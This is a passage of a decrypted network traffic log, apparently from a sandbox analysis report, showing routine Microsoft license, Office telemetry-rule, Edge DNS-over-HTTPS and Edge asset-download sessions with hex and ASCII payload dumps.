2024-11-12 05:23:31 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 35 31 36 43 43 33 44 31 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 35 33 39 33 30 36 30 34 2d 32 31 39 38 2d 34 36 36 36 2d 62 35 62 65 2d 39 36 32 37 33 38 62 66 34 66 35 61 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>00180011516CC3D1</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="53930604-2198-4666-b5be-962738bf4f5a" LicenseID="3252b20c-d425-4711
2024-11-12 05:23:31 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:28 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:28 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: de083b16-101e-0079-14f1-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052328Z-16547b76f7fvllnfhC1DFWxkg80000000f5g00000000fnwn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:29 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:28 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 2d611ff0-901e-002a-3d01-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052329Z-16547b76f7ftdm8dhC1DFWs13g0000000f3g00000000ebr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:28 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 846ef32c-001e-0017-30a7-340c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052329Z-17df447cdb5qt2nfhC1DFWzhgw00000008q0000000008umb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb68cf1d-a01e-001e-3b01-2d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052329Z-16547b76f7fm7xw6hC1DFW5px40000000f0000000000m6y8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:29 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a288df0b-b01e-00ab-0601-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052329Z-16547b76f7fdtmzhhC1DFW6zhc00000004500000000022by x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:29 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49822	172.64.41.3	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 05:23:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 05:23:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e14171d48d66c33-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 05:23:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 bb 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49824	172.64.41.3	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 05:23:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 05:23:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e14171d6e74a918-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 05:23:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 08 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49820	172.64.41.3	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 05:23:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 05:23:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e14171d6db46b38-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 05:23:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 6d 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcommq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49823	13.107.246.45	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:30 UTC	556	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:30 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: d81471c5-b01e-0075-32c3-34efbc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T052329Z-17df447cdb5vq4m4hC1DFW2t8w00000000u0000000009byy Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 05:23:30 UTC	15828	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-12 05:23:30 UTC	16384	IN	Data Raw: 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 dc 86 43 a9 41 db Data Ascii: e\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7CA
2024-11-12 05:23:30 UTC	16384	IN	Data Raw: 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 40 34 cd c4 ce 27 Data Ascii: kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q@4'
